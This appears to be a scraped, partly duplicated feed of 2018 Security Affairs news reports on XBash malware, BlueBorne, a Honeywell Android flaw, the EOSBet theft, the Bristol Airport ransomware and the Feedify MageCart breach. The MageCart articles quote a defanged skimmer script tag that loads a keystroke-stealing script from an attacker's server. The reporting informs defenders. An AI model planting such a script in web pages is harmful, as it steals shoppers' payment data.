“Xbash has ransomware and coinmining capabilities. It also has self-propagating capabilities (meaning it has worm-like characteristics similar to WannaCry or Petya/NotPetya).” reads the analysis published by Palo Alto Networks.

“It also has capabilities not currently implemented that, when implemented, could enable it to spread very quickly within an organizations’ network (again, much like WannaCry or Petya/NotPetya).”

The malicious code was attributed to a popular crime gang tracked as the Iron Group.

The Iron cybercrime group has been active since at least 2016, is known for the Iron ransomware but across the years it is built various strain of malware, including backdoors, cryptocurrency miners, and ransomware to target both mobile and desktop systems.

“In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code.” states the report published by Intezer

“We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.”

Thousands of victims have been infected by malware used by the crime gang.

Now the experts from Palo Alto Networks discovered the new XBash malware strain that combines botnet, coinmining, ransomware, and self-propagation. The botnet and ransomware features are observed in infections of Linux systems, while a coinminer behavior was seen in infections of the Windows servers.

The Xbash authors have implemented scanning capabilities used by the malware to search for vulnerable servers online. The malicious code search for unpatched web applications that are vulnerable to a series of known exploits or to brute force attack with a dictionary of default credentials.

“When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation.” continues the report.

“Three known vulnerabilities are targeted:

  1. Hadoop YARN ResourceManager unauthenticated command execution, which was first disclosed in October 2016 and has no CVE number assigned.
  2. Redis arbitrary file write and remote command execution, which was first disclosed in October 2015 and has no CVE number assigned. This is shown below in Figure 6.
  3. ActiveMQ arbitrary file write vulnerability, CVE-2016-3088.”

 

The malware can infect Windows systems, only after the compromise of a vulnerable Redis server.

The scanner component also scans the Internet for servers that run services that have been left online exposed without a password or are using weak credentials. The scanners target web servers (HTTP), VNC, MariaDB, MySQL, PostgreSQL, Redis, MongoDB, Oracle DB, CouchDB, ElasticSearch, Memcached, FTP, Telnet, RDP, UPnP/SSDP, NTP, DNS, SNMP, LDAP, Rexec, Rlogin, Rsh, and Rsync.

Hackers attempt to monetize their efforts through coin-mining activities on Windows systems or with ransomware based attacks on Linux servers running database services.

The XBash component will scan and delete MySQL, MongoDB, and PostgreSQL databases and drops a ransom asking for the payment of 0.02 Bitcoin ($125) to recover them.

Xbash

Unfortunately, victims will never recover their data because the malware wipe data and not back it up.

“we have observed three different bitcoin wallet addresses hard-coded in the Xbash samples. Since May 2018, there are 48 incoming transactions to these wallets with total income of about 0.964 bitcoins (about US$6,000 at the time of this writing).” continues the analysis.

“the funds are being withdrawn, showing us that the attackers are actively collecting their ransom.”

Experts noticed in all versions of Xbash the presence of a Python class named “LanScan” used to target enterprise networks.  The class allows to get local intranet information, generate a list of all IP addresses within the same subnet, and to perform port scanning to all these IPs

The code is still not active in the malware, likely crooks are working on its development.

Experts believe XBash will continue to evolve, for example including the miner component for Linux servers as well.

Further info, including IoCs, are reported in the analysis published by the experts.

Pierluigi Paganini

(Security Affairs – malware, cybercrime)

The post New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms appeared first on Security Affairs.



Security Affairs

Security Affairs: One year later BlueBorne disclosure, over 2 Billion devices are still vulnerable

One year after the discovery of the BlueBorne Bluetooth vulnerabilities more than 2 billion devices are still vulnerable to attacks.

In September 2017, experts with Armis Labs devised a new attack technique, dubbed BlueBorne, aimed at mobile, desktop and IoT devices that use Bluetooth.  The BlueBorne attack exposes devices to a new remote attack, even without any user interaction and pairing, the unique condition for BlueBorne attacks is that targeted systems must have Bluetooth enabled.

The attack technique leverages on a total of nine vulnerabilities in the Bluetooth design that expose devices to cyber attacks.

A hacker in range of the targeted device can trigger one of the Bluetooth implementation issues for malicious purposes, including remote code execution and man-in-the-middle (MitM) attacks. The attacker only needs to determine the operating system running on the targeted device in order to use the correct exploit.

According to the experts, in order to launch a BlueBorne attack, it is not necessary to trick the victim into clicking on a link or opening a malicious file.

The attack is stealthy and victims will not notice any suspicious activity on their device.

blueborne attack

Two months later, experts at Armis also revealed that millions of AI-based voice-activated personal assistants, including Google Home and Amazon Echo, were affected by the Blueborne flaws.

At the time of BlueBorne disclosure, Armis estimated that the security flaw initially affected roughly 5.3 billion Bluetooth-enabled devices.

One year after the company published a new report that warns that roughly one-third of the 5.3 billion impacted devices are still vulnerable to cyber attacks.

“Today, about two-thirds of previously affected devices have received updates that protect them from becoming victims of a BlueBorne attack, but what about the rest? Most of these devices are nearly one billion active Android and iOS devices that are end-of-life or end-of-support and won’t receive critical updates that patch and protect them from a BlueBorne attack.” states the new report published by Armis.

“The other 768 million devices are still running unpatched or unpatchable versions of Linux on a variety of devices from servers and smartwatches to medical devices and industrial equipment.

  • 768 million devices running Linux
  • 734 million devices running Android 5.1 (Lollipop) and earlier
  • 261 million devices running Android 6 (Marshmallow) and earlier
  • 200 million devices running affected versions of Windows
  • 50 million devices running iOS version 9.3.5 and earlier”

It is disconcerting, one billion devices are still running a version of Android that no longer receives security updates, including Android 5.1 Lollipop and earlier (734 million), and Android 6 Marshmallow and earlier (261 million).

It is interesting to note that 768 million Linux devices are running an unpatched or unpatchable version, they include servers, industrial equipment, and IoT systems in many industries.

“An inherent lack of visibility hampers most enterprise security tools today, making it impossible for organizations to know if affected devices connect to their networks,” continues the report published by Armis.

“Whether they’re brought in by employees and contractors, or by guests using enterprise networks for temporary connectivity, these devices can expose enterprises to significant risks.”

Armis notified its findings to vendors five months ago, but the situation is not changed.

“As vulnerabilities and threats are discovered, it can take weeks, months, or more to patch them. Between the time Armis notified affected vendors about BlueBorne and its public disclosure, five months had elapsed. During that time, Armis worked with these vendors to develop fixes that could then be made available to partners or end-users.” added Armis.

Unmanaged and IoT devices grow exponentially in the enterprise dramatically enlarging the attack surface and attracting the interest of hackers focused in the exploitation of Bluetooth as an attack vector.

Pierluigi Paganini

(Security Affairs – BlueBorne, hacking)

The post One year later BlueBorne disclosure, over 2 Billion devices are still vulnerable appeared first on Security Affairs.



Security Affairs

One year later BlueBorne disclosure, over 2 Billion devices are still vulnerable

One year after the discovery of the BlueBorne Bluetooth vulnerabilities more than 2 billion devices are still vulnerable to attacks.

In September 2017, experts with Armis Labs devised a new attack technique, dubbed BlueBorne, aimed at mobile, desktop and IoT devices that use Bluetooth.  The BlueBorne attack exposes devices to a new remote attack, even without any user interaction and pairing, the unique condition for BlueBorne attacks is that targeted systems must have Bluetooth enabled.

The attack technique leverages on a total of nine vulnerabilities in the Bluetooth design that expose devices to cyber attacks.

A hacker in range of the targeted device can trigger one of the Bluetooth implementation issues for malicious purposes, including remote code execution and man-in-the-middle (MitM) attacks. The attacker only needs to determine the operating system running on the targeted device in order to use the correct exploit.

According to the experts, in order to launch a BlueBorne attack, it is not necessary to trick the victim into clicking on a link or opening a malicious file.

The attack is stealthy and victims will not notice any suspicious activity on their device.

blueborne attack

Two months later, experts at Armis also revealed that millions of AI-based voice-activated personal assistants, including Google Home and Amazon Echo, were affected by the Blueborne flaws.

At the time of BlueBorne disclosure, Armis estimated that the security flaw initially affected roughly 5.3 billion Bluetooth-enabled devices.

One year after the company published a new report that warns that roughly one-third of the 5.3 billion impacted devices are still vulnerable to cyber attacks.

“Today, about two-thirds of previously affected devices have received updates that protect them from becoming victims of a BlueBorne attack, but what about the rest? Most of these devices are nearly one billion active Android and iOS devices that are end-of-life or end-of-support and won’t receive critical updates that patch and protect them from a BlueBorne attack.” states the new report published by Armis.

“The other 768 million devices are still running unpatched or unpatchable versions of Linux on a variety of devices from servers and smartwatches to medical devices and industrial equipment.

  • 768 million devices running Linux
  • 734 million devices running Android 5.1 (Lollipop) and earlier
  • 261 million devices running Android 6 (Marshmallow) and earlier
  • 200 million devices running affected versions of Windows
  • 50 million devices running iOS version 9.3.5 and earlier”

It is disconcerting, one billion devices are still running a version of Android that no longer receives security updates, including Android 5.1 Lollipop and earlier (734 million), and Android 6 Marshmallow and earlier (261 million).

It is interesting to note that 768 million Linux devices are running an unpatched or unpatchable version, they include servers, industrial equipment, and IoT systems in many industries.

“An inherent lack of visibility hampers most enterprise security tools today, making it impossible for organizations to know if affected devices connect to their networks,” continues the report published by Armis.

“Whether they’re brought in by employees and contractors, or by guests using enterprise networks for temporary connectivity, these devices can expose enterprises to significant risks.”

Armis notified its findings to vendors five months ago, but the situation is not changed.

“As vulnerabilities and threats are discovered, it can take weeks, months, or more to patch them. Between the time Armis notified affected vendors about BlueBorne and its public disclosure, five months had elapsed. During that time, Armis worked with these vendors to develop fixes that could then be made available to partners or end-users.” added Armis.

Unmanaged and IoT devices grow exponentially in the enterprise dramatically enlarging the attack surface and attracting the interest of hackers focused in the exploitation of Bluetooth as an attack vector.

Pierluigi Paganini

(Security Affairs – BlueBorne, hacking)

The post One year later BlueBorne disclosure, over 2 Billion devices are still vulnerable appeared first on Security Affairs.

Security Affairs: Google Android team found high severity flaw in Honeywell Android-based handheld computers

Experts at the Google Android team have discovered high severity privilege escalation vulnerability in some of Honeywell Android-based handheld computers.

Security experts from the Google Android team have discovered a high severity privilege escalation vulnerability in some of Honeywell Android-based handheld computers that could be exploited by an attacker to gain elevated privileges.

According to the vendor, Honeywell handheld computers combine the advantages of consumer PDAs and high-end industrial mobile computers into a single rugged package.

The rugged devices provide enhanced connectivity, including industry standard 802.11x, Cisco compatibility, and Bluetooth, they are widely adopted in many sectors, including energy, healthcare, critical manufacturing, and commercial facilities.

The US ICS-CERT published a security advisory to warn of the vulnerability that affects several models of Honeywell Android handheld computers, including CT60, CN80, CT40, CK75, CN75, CT50, D75e, CN51, and EDA series.

The affected devices run various Android version between 4.4 and 8.1.

“A vulnerability in a system service on CT60, CN80, CT40, CK75, CN75, CT50, D75e, CN51, and EDA series mobile computers running the Android Operating System (OS) could allow a malicious third-party application to gain elevated privileges.” reads the advisory published by the US ICS-CERT.

The flaw, tracked as CVE-2018-14825, received a CVSS v3 base score of 7.6).

Honeywell Android-based handheld computers

Customers should whitelist trusted applications to avoid malicious apps accessing the devices with high privileges.

An attacker could exploit the flaw to gain elevated privileges and unauthorized access e to sensitive information such as passwords and confidential documents.

“A skilled attacker with advanced knowledge of the target system could exploit this vulnerability by creating an application that would successfully bind to the service and gain elevated system privileges.” continues the advisory.

“This could enable the attacker to obtain access to keystrokes, passwords, personal identifiable information, photos, emails, or business-critical documents.”

Pierluigi Paganini

(Security Affairs – Honeywell Android-based handheld computers, hacking)

The post Google Android team found high severity flaw in Honeywell Android-based handheld computers appeared first on Security Affairs.



Security Affairs

Google Android team found high severity flaw in Honeywell Android-based handheld computers

Experts at the Google Android team have discovered high severity privilege escalation vulnerability in some of Honeywell Android-based handheld computers.

Security experts from the Google Android team have discovered a high severity privilege escalation vulnerability in some of Honeywell Android-based handheld computers that could be exploited by an attacker to gain elevated privileges.

According to the vendor, Honeywell handheld computers combine the advantages of consumer PDAs and high-end industrial mobile computers into a single rugged package.

The rugged devices provide enhanced connectivity, including industry standard 802.11x, Cisco compatibility, and Bluetooth, they are widely adopted in many sectors, including energy, healthcare, critical manufacturing, and commercial facilities.

The US ICS-CERT published a security advisory to warn of the vulnerability that affects several models of Honeywell Android handheld computers, including CT60, CN80, CT40, CK75, CN75, CT50, D75e, CN51, and EDA series.

The affected devices run various Android version between 4.4 and 8.1.

“A vulnerability in a system service on CT60, CN80, CT40, CK75, CN75, CT50, D75e, CN51, and EDA series mobile computers running the Android Operating System (OS) could allow a malicious third-party application to gain elevated privileges.” reads the advisory published by the US ICS-CERT.

The flaw, tracked as CVE-2018-14825, received a CVSS v3 base score of 7.6).

Honeywell Android-based handheld computers

Customers should whitelist trusted applications to avoid malicious apps accessing the devices with high privileges.

An attacker could exploit the flaw to gain elevated privileges and unauthorized access e to sensitive information such as passwords and confidential documents.

“A skilled attacker with advanced knowledge of the target system could exploit this vulnerability by creating an application that would successfully bind to the service and gain elevated system privileges.” continues the advisory.

“This could enable the attacker to obtain access to keystrokes, passwords, personal identifiable information, photos, emails, or business-critical documents.”

Pierluigi Paganini

(Security Affairs – Honeywell Android-based handheld computers, hacking)

The post Google Android team found high severity flaw in Honeywell Android-based handheld computers appeared first on Security Affairs.

EOSBet Gambling application hacked, crooks stole $200,000 worth of EOS

The gambling application EOSBet was affected by a vulnerability in its smart contract system that has been exploited by attackers to steal $200,000 worth of EOS.

The security breach was first reported by the member “thbourlove” of the EOSBet Reddit community that shared the code used to exploit the flaw.

After seeing the exploit code, the EOSBet’s official Reddit account admitted the hack.

“Yep, we were hacked. But we also have this exact assertion that you do. I would be careful, it’s a bit deeper than you think.” stated the EOSBet’s official Reddit account

EOSbet app

“A million-dollar EOS gambling dApp suffered a major blow, just days after declaring itself to be the safest of its kind.” reported The Next Web website.

“Hackers have taken 40,000 EOS ($200,000) from the operating wallet of EOSBet by exploiting vulnerabilities in its smart contracts”

The gambling application is based on the EOS blockchain, it was taken offline in response to the security breach.

“[…] A few hours ago, we were attacked, and about 40,000 EOS was taken from our bankroll,” said an EOSBet spokesperson.

“This bug was not minor as was stated previously, and we are still doing forensics and piecing together what happened.”

According to the company the attackers exploited a bug in one of their games, but it seems that the same issue could affect other games of the gambling platform.

The hackers were able to forge fake hash to hijack the EOSBet’s transfer funds.

The attackers have attempted to transfer funds to a wallet under their control that looks very similar to the one used by EOSBet.

The hackers only make a limited number of transactions from a number of accounts, they used the following message or similar as a description:

“Memo: Please refund the illegal income eos, otherwise we will hire a team of lawyers in China to pursue all criminal liability and losses to you. Eosbet official eos account: eosbetdicell.”

Then crooks distributed the gains splitting them across many wallets that received small amounts of EOS tokens with the following message:

“Memo: Dear players: In order to make up for the loss of eosbet players in the hacking incident, the platform launched a recharge to send BET. 1EOS=1BET, the official eos account: eosbetdicell, the transfer will automatically give the same BET.”

It is still unclear if this incident is connected to a suspect gambler win realized the last week, the player claimed over $600,000 from EOSBet by doubling their money repeatedly in 36 hours.

Platform managers excluded any link between the hack and what is considered a legitimate win.

Pierluigi Paganini

(Security Affairs – EOSBet, security breach)

The post EOSBet Gambling application hacked, crooks stole $200,000 worth of EOS appeared first on Security Affairs.

Security Affairs: EOSBet Gambling application hacked, crooks stole $200,000 worth of EOS

The gambling application EOSBet was affected by a vulnerability in its smart contract system that has been exploited by attackers to steal $200,000 worth of EOS.

The security breach was first reported by the member “thbourlove” of the EOSBet Reddit community that shared the code used to exploit the flaw.

After seeing the exploit code, the EOSBet’s official Reddit account admitted the hack.

“Yep, we were hacked. But we also have this exact assertion that you do. I would be careful, it’s a bit deeper than you think.” stated the EOSBet’s official Reddit account

EOSbet app

“A million-dollar EOS gambling dApp suffered a major blow, just days after declaring itself to be the safest of its kind.” reported The Next Web website.

“Hackers have taken 40,000 EOS ($200,000) from the operating wallet of EOSBet by exploiting vulnerabilities in its smart contracts”

The gambling application is based on the EOS blockchain, it was taken offline in response to the security breach.

“[…] A few hours ago, we were attacked, and about 40,000 EOS was taken from our bankroll,” said an EOSBet spokesperson.

“This bug was not minor as was stated previously, and we are still doing forensics and piecing together what happened.”

According to the company the attackers exploited a bug in one of their games, but it seems that the same issue could affect other games of the gambling platform.

The hackers were able to forge fake hash to hijack the EOSBet’s transfer funds.

The attackers have attempted to transfer funds to a wallet under their control that looks very similar to the one used by EOSBet.

The hackers only make a limited number of transactions from a number of accounts, they used the following message or similar as a description:

“Memo: Please refund the illegal income eos, otherwise we will hire a team of lawyers in China to pursue all criminal liability and losses to you. Eosbet official eos account: eosbetdicell.”

Then crooks distributed the gains splitting them across many wallets that received small amounts of EOS tokens with the following message:

“Memo: Dear players: In order to make up for the loss of eosbet players in the hacking incident, the platform launched a recharge to send BET. 1EOS=1BET, the official eos account: eosbetdicell, the transfer will automatically give the same BET.”

It is still unclear if this incident is connected to a suspect gambler win realized the last week, the player claimed over $600,000 from EOSBet by doubling their money repeatedly in 36 hours.

Platform managers excluded any link between the hack and what is considered a legitimate win.

Pierluigi Paganini

(Security Affairs – EOSBet, security breach)

The post EOSBet Gambling application hacked, crooks stole $200,000 worth of EOS appeared first on Security Affairs.



Security Affairs

Cyber attack took offline flight display screens at the Bristol Airport

The Bristol Airport was hit by a cyber attack that caused problems with operations, flight display screens were taken offline for two days.

The Bristol Airport was hit by a ransomware-based attack that caused problems to the flight display screens for two entire days.

The news reported by the BBC and was confirmed by an airport spokesman that explained that the information screens were taken offline early on Friday in response to a “ransomware” based attack.

“Bristol Airport has blamed a cyber attack for causing flight display screens to fail for two days.” state the article published by the BBC.

“They are now working again at “key locations” including in departures and arrivals, and work is continuing to get the whole site back online.”

The personnel started incident response and contingency measures, “manual processes” manual processes have made up for the interruption of the systems, spokesman refers of usage of whiteboards and marker pens.

According to the spokesman, the airport did not pay the ransom to the attackers.

“We believe there was an online attempt to target part of our administrative systems and that required us to take a number of applications offline as a precautionary measure, including the one that provides our data for flight information screens.” said airport spokesman James Gore.

“That was done to contain the problem and avoid any further impact on more critical systems.

Bristol airpost attack

Source BBC – Image copyright JULIEANNE MCMAHON Image caption A spokesman said whiteboards and marker pens had to be used in place of display screens.

The experts don’t believe it was a targeted attack against the British critical infrastructure.

“The indications are that this was a speculative attempt rather than targeted attack on Bristol Airport.

The good news is that flights were not affected by the cyber attack

Mr Gore said flights were unaffected, but contingency measures and “manual processes”, including whiteboards and marker pens, had to be used in place of display screens.

“At no point were any safety or security systems impacted or put at risk.”

“Given the number of safety and security critical systems operating at an airport, we wanted to make sure that the issue with the flight information application that experienced the problem was absolutely resolved before it was put back online.”

Pierluigi Paganini

(Security Affairs – Bristol Airport, hacking)

The post Cyber attack took offline flight display screens at the Bristol Airport appeared first on Security Affairs.

Security Affairs: Cyber attack took offline flight display screens at the Bristol Airport

The Bristol Airport was hit by a cyber attack that caused problems with operations, flight display screens were taken offline for two days.

The Bristol Airport was hit by a ransomware-based attack that caused problems to the flight display screens for two entire days.

The news reported by the BBC and was confirmed by an airport spokesman that explained that the information screens were taken offline early on Friday in response to a “ransomware” based attack.

“Bristol Airport has blamed a cyber attack for causing flight display screens to fail for two days.” state the article published by the BBC.

“They are now working again at “key locations” including in departures and arrivals, and work is continuing to get the whole site back online.”

The personnel started incident response and contingency measures, “manual processes” manual processes have made up for the interruption of the systems, spokesman refers of usage of whiteboards and marker pens.

According to the spokesman, the airport did not pay the ransom to the attackers.

“We believe there was an online attempt to target part of our administrative systems and that required us to take a number of applications offline as a precautionary measure, including the one that provides our data for flight information screens.” said airport spokesman James Gore.

“That was done to contain the problem and avoid any further impact on more critical systems.

Bristol airpost attack

Source BBC – Image copyright JULIEANNE MCMAHON Image caption A spokesman said whiteboards and marker pens had to be used in place of display screens.

The experts don’t believe it was a targeted attack against the British critical infrastructure.

“The indications are that this was a speculative attempt rather than targeted attack on Bristol Airport.

The good news is that flights were not affected by the cyber attack

Mr Gore said flights were unaffected, but contingency measures and “manual processes”, including whiteboards and marker pens, had to be used in place of display screens.

“At no point were any safety or security systems impacted or put at risk.”

“Given the number of safety and security critical systems operating at an airport, we wanted to make sure that the issue with the flight information application that experienced the problem was absolutely resolved before it was put back online.”

Pierluigi Paganini

(Security Affairs – Bristol Airport, hacking)

The post Cyber attack took offline flight display screens at the Bristol Airport appeared first on Security Affairs.



Security Affairs

New Cold Boot Attacks Can Evade Current Mitigations

Many people tend to put laptops to ‘Sleep’ instead of shutting it down. Whether you’re at home, or at your

New Cold Boot Attacks Can Evade Current Mitigations on Latest Hacking News.

Feedify cloud service architecture compromised by MageCart crime gang

MageCart cyber gang compromised the cloud service firm Feedify and stole payment card data from customers of hundreds of e-commerce sites.

MageCart crime gang appears very active in this period, payment card data from customers of hundreds of e-commerce websites may have been stolen due to the compromise of the cloud service firm Feedify.

Cloud service firm Feedify has over 4,000 customers, it is a cloud platform to engage customers’ clients with powerful tools that target them based on their behavior.

Feedify leverages a JavaScript script that their customers add to their websites to use the service. MageCart hackers compromised the supply chain for the Feedify service.  The script loads various resources from Feedify’s infrastructure, including a library named “feedbackembad-min-1.0.js,” which was compromised by MageCart.

Feedify

Every user a page of the e-commerce site of a Feedify customer will load the malicious script that allowed the crooks to siphon personal information and payment card data.

The group has been active since at least 2015 and compromised many e-commerce websites to steal payment card and other sensitive data.

The group injects a skimmer script in the target websites to siphon payment card data, once the attackers succeed in compromising a site, it will add an embedded piece of Javascript to the HTML template. Below an example script dubbed MagentoCore.

<script type="text/javascript" src="hxxps://magentocore.net/mage/mage.js"></script>

This script records keystrokes from customers and sends them to a server controlled by the attacker.

Typically hackers attempt to compromise third-party features that could allow them to access a large number of websites.

According to the security firm RiskIQ, the MageCart group carried out a targeted attack against the British Airways and used a customized version of the script to remain under the radar.

Using the same tactic, the MageCart compromised the website using the Feedify service by injecting their malicious code into a library the Feedify script served to customers’ websites.

According to the experts from RiskIQ, MageCart hackers might have had access to the Feedify servers for nearly a month.

Once notified Feedify the compromise, the company removed the malicious script:

but apparently, the hackers re-infected the library.

The events demonstrate the ability of the MageCart crime gang in compromising the infrastructure of its victims.

In August, security expert Willem de Groot discovered that the MagentoCore skimmer at the time already infected 7,339 Magento stores.

At the time, querying the PublicWWW service it was possible to verify that the MagentoCore script was deployed on 5,214 domains, actually the number of compromised website id still high (4762) despite the awareness campaign.

Pierluigi Paganini

(Security Affairs – cybercrime, MageCart)

The post Feedify cloud service architecture compromised by MageCart crime gang appeared first on Security Affairs.

Security Affairs: Feedify cloud service architecture compromised by MageCart crime gang

MageCart cyber gang compromised the cloud service firm Feedify and stole payment card data from customers of hundreds of e-commerce sites.

MageCart crime gang appears very active in this period, payment card data from customers of hundreds of e-commerce websites may have been stolen due to the compromise of the cloud service firm Feedify.

Cloud service firm Feedify has over 4,000 customers, it is a cloud platform to engage customers’ clients with powerful tools that target them based on their behavior.

Feedify leverages a JavaScript script that their customers add to their websites to use the service. MageCart hackers compromised the supply chain for the Feedify service.  The script loads various resources from Feedify’s infrastructure, including a library named “feedbackembad-min-1.0.js,” which was compromised by MageCart.

Feedify

Every user a page of the e-commerce site of a Feedify customer will load the malicious script that allowed the crooks to siphon personal information and payment card data.

The group has been active since at least 2015 and compromised many e-commerce websites to steal payment card and other sensitive data.

The group injects a skimmer script in the target websites to siphon payment card data, once the attackers succeed in compromising a site, it will add an embedded piece of Javascript to the HTML template. Below an example script dubbed MagentoCore.

<script type="text/javascript" src="hxxps://magentocore.net/mage/mage.js"></script>

This script records keystrokes from customers and sends them to a server controlled by the attacker.

Typically hackers attempt to compromise third-party features that could allow them to access a large number of websites.

According to the security firm RiskIQ, the MageCart group carried out a targeted attack against the British Airways and used a customized version of the script to remain under the radar.

Using the same tactic, the MageCart compromised the website using the Feedify service by injecting their malicious code into a library the Feedify script served to customers’ websites.

According to the experts from RiskIQ, MageCart hackers might have had access to the Feedify servers for nearly a month.

Once notified Feedify the compromise, the company removed the malicious script:

but apparently, the hackers re-infected the library.

The events demonstrate the ability of the MageCart crime gang in compromising the infrastructure of its victims.

In August, security expert Willem de Groot discovered that the MagentoCore skimmer at the time already infected 7,339 Magento stores.

At the time, querying the PublicWWW service it was possible to verify that the MagentoCore script was deployed on 5,214 domains, actually the number of compromised website id still high (4762) despite the awareness campaign.

Pierluigi Paganini

(Security Affairs – cybercrime, MageCart)

The post Feedify cloud service architecture compromised by MageCart crime gang appeared first on Security Affairs.



Security Affairs

Security Affairs: Security Affairs newsletter Round 180 – News of the week

A new round of the weekly SecurityAffairs newsletter arrived!

The best news of the week with Security Affairs.

Let me inform you that my new book, “Digging in the Deep Web” is online with a special deal

20% discount

Kindle Edition

Paper Copy

Digging The Deep Web

Once again thank you!

·      Domestic Kitten – An Iranian surveillance operation under the radar since 2016
·      The main source of infection on ICS systems was the internet in H1 2018
·      A growing number of iOS apps collect and sell location data
·      Chinese LuckyMouse APT has been using a digitally signed network filtering driver in recent attacks
·      Fallout exploit kit appeared in the threat landscape in malvertising campaigns
·      GAO Report shed the lights on the failures behind the Equifax hack
·      Mirai and Gafgyt target Apache Struts and SonicWall to hit enterprises
·      Adobe Patch Tuesday for September 2018 fixes 10 flaws in Flash Player and ColdFusion
·      MageCart crime gang is behind the British Airways data breach
·      Other 3,700 MikroTik Routers compromised in cryptoJacking campaigns
·      Trend Micro Apps removed from Mac App Store after being caught exfiltrating user data
·      Zerodium disclose exploit for NoScript bug in version 7 of Tor Browser
·      Cyber Defense Magazine – September 2018 has arrived. Enjoy it!
·      Microsoft Patch Tuesday updates for September 2018 also address recently disclosed Windows zero-day
·      Researchers show how to clone Tesla S Key Fobs in a few seconds
·      September 2018 Security Notes address a total of 14 flaws in SAP products
·      Cobalt crime gang is using again CobInt malware in attacks on former soviet states
·      Flaws in firmware expose almost any modern PC to Cold Boot Attacks
·      ICS CERT warns of several flaws Fuji Electric Fuji Electric V-Server
·      ICS CERT warns of several flaws in Fuji Electric V-Server
·      New PyLocky Ransomware stands out for anti-machine learning capability
·      Iran-Linked OilRig APT group targets high-ranking office in a Middle Eastern nation
·      Kelihos botmaster pleads guilty in U.S. District Court in Connecticut
·      Operator at kayo.moe found a 42M Record Credential Stuffing Data ready to use
·      China-linked APT10 group behind new attacks on the Japanese media sector
·      Dutch expelled two Russian spies over hack plan on Swiss lab working on Skripal case
·      Experts disclose a Webroot SecureAnywhere macOS Kernel Level bug found months ago

Pierluigi Paganini

(Security Affairs – Newsletter)

The post Security Affairs newsletter Round 180 – News of the week appeared first on Security Affairs.



Security Affairs

Security Affairs newsletter Round 180 – News of the week

A new round of the weekly SecurityAffairs newsletter arrived!

The best news of the week with Security Affairs.

Let me inform you that my new book, “Digging in the Deep Web” is online with a special deal

20% discount

Kindle Edition

Paper Copy

Digging The Deep Web

Once again thank you!

·      Domestic Kitten – An Iranian surveillance operation under the radar since 2016
·      The main source of infection on ICS systems was the internet in H1 2018
·      A growing number of iOS apps collect and sell location data
·      Chinese LuckyMouse APT has been using a digitally signed network filtering driver in recent attacks
·      Fallout exploit kit appeared in the threat landscape in malvertising campaigns
·      GAO Report shed the lights on the failures behind the Equifax hack
·      Mirai and Gafgyt target Apache Struts and SonicWall to hit enterprises
·      Adobe Patch Tuesday for September 2018 fixes 10 flaws in Flash Player and ColdFusion
·      MageCart crime gang is behind the British Airways data breach
·      Other 3,700 MikroTik Routers compromised in cryptoJacking campaigns
·      Trend Micro Apps removed from Mac App Store after being caught exfiltrating user data
·      Zerodium disclose exploit for NoScript bug in version 7 of Tor Browser
·      Cyber Defense Magazine – September 2018 has arrived. Enjoy it!
·      Microsoft Patch Tuesday updates for September 2018 also address recently disclosed Windows zero-day
·      Researchers show how to clone Tesla S Key Fobs in a few seconds
·      September 2018 Security Notes address a total of 14 flaws in SAP products
·      Cobalt crime gang is using again CobInt malware in attacks on former soviet states
·      Flaws in firmware expose almost any modern PC to Cold Boot Attacks
·      ICS CERT warns of several flaws Fuji Electric Fuji Electric V-Server
·      ICS CERT warns of several flaws in Fuji Electric V-Server
·      New PyLocky Ransomware stands out for anti-machine learning capability
·      Iran-Linked OilRig APT group targets high-ranking office in a Middle Eastern nation
·      Kelihos botmaster pleads guilty in U.S. District Court in Connecticut
·      Operator at kayo.moe found a 42M Record Credential Stuffing Data ready to use
·      China-linked APT10 group behind new attacks on the Japanese media sector
·      Dutch expelled two Russian spies over hack plan on Swiss lab working on Skripal case
·      Experts disclose a Webroot SecureAnywhere macOS Kernel Level bug found months ago

Pierluigi Paganini

(Security Affairs – Newsletter)

The post Security Affairs newsletter Round 180 – News of the week appeared first on Security Affairs.

Researcher devised a new CSS & HTML attack that causes iPhone reboot or freezes Macs

The security researcher security researcher Sabri Haddouche from Wire devised a new CSS attack that causes iPhone reboot or freezes Macs.

The security researcher security researcher Sabri Haddouche from Wire devised a new attack method that saturates Apple device’s resources and causing it crashes or system restarts when visiting a web page. The experts discovered that iOS restart and macOS freezes when the user visits a web page that contains certain CSS & HTML.

Depending on the version of iOS being used, the bug could trigger the UI restart, cause a kernel panic and consequent device reboot.

This attack leverages a weakness in the -webkit-backdrop-filter CSS, for this reason, it affects all browsers on iOS that leverage on WebKit as rendering engine is WebKit. The weakness also affects Safari and Mail in macOS, but it doesn’t affect Linux and Windows systems.

“The attack exploits a weakness in the –webkit-backdrop-filter CSS property,” Haddouche explained to BleepingComputer. “By using nested divs with that property, we can quickly consume all graphic resources and crash or freeze the OS. The attack does not require Javascript to be enabled therefore it also works in Mail. On macOS, the UI freeze. On iOS, the device restart.”

iphone

Haddouche successfully tested the attack on iOS 12 and caused the device to reboot, on iOS 11.4.1 it only caused a UI restart.

Haddouche explained that on macOS, the attack will only cause Mail and Safari to freeze for a second and then slow down the computer.

Haddouche also devised another attack that uses HTML, CSS, and JavaScript to completely freeze macOS systems. The researchers told Bleeping Computer that he has not disclosed it because it persists after reboot and macOS will relaunch Safari with the malicious page, causing the system entering in a look that freeze it again.

Lawrence Abrams from Bleeping Computer created a video showing what happens when a user visits the attack page created by Haddouche (sees the rawgit[.]com) and published on Github. Lawrence used an iPhone running iOS 11.4.1.

The bad news is that there is no mitigation for this attack.

Pierluigi Paganini

(Security Affairs – iPhone reboot, CSS attack)

The post Researcher devised a new CSS & HTML attack that causes iPhone reboot or freezes Macs appeared first on Security Affairs.

Security Affairs: Researcher devised a new CSS & HTML attack that causes iPhone reboot or freezes Macs

The security researcher security researcher Sabri Haddouche from Wire devised a new CSS attack that causes iPhone reboot or freezes Macs.

The security researcher security researcher Sabri Haddouche from Wire devised a new attack method that saturates Apple device’s resources and causing it crashes or system restarts when visiting a web page. The experts discovered that iOS restart and macOS freezes when the user visits a web page that contains certain CSS & HTML.

Depending on the version of iOS being used, the bug could trigger the UI restart, cause a kernel panic and consequent device reboot.

This attack leverages a weakness in the -webkit-backdrop-filter CSS, for this reason, it affects all browsers on iOS that leverage on WebKit as rendering engine is WebKit. The weakness also affects Safari and Mail in macOS, but it doesn’t affect Linux and Windows systems.

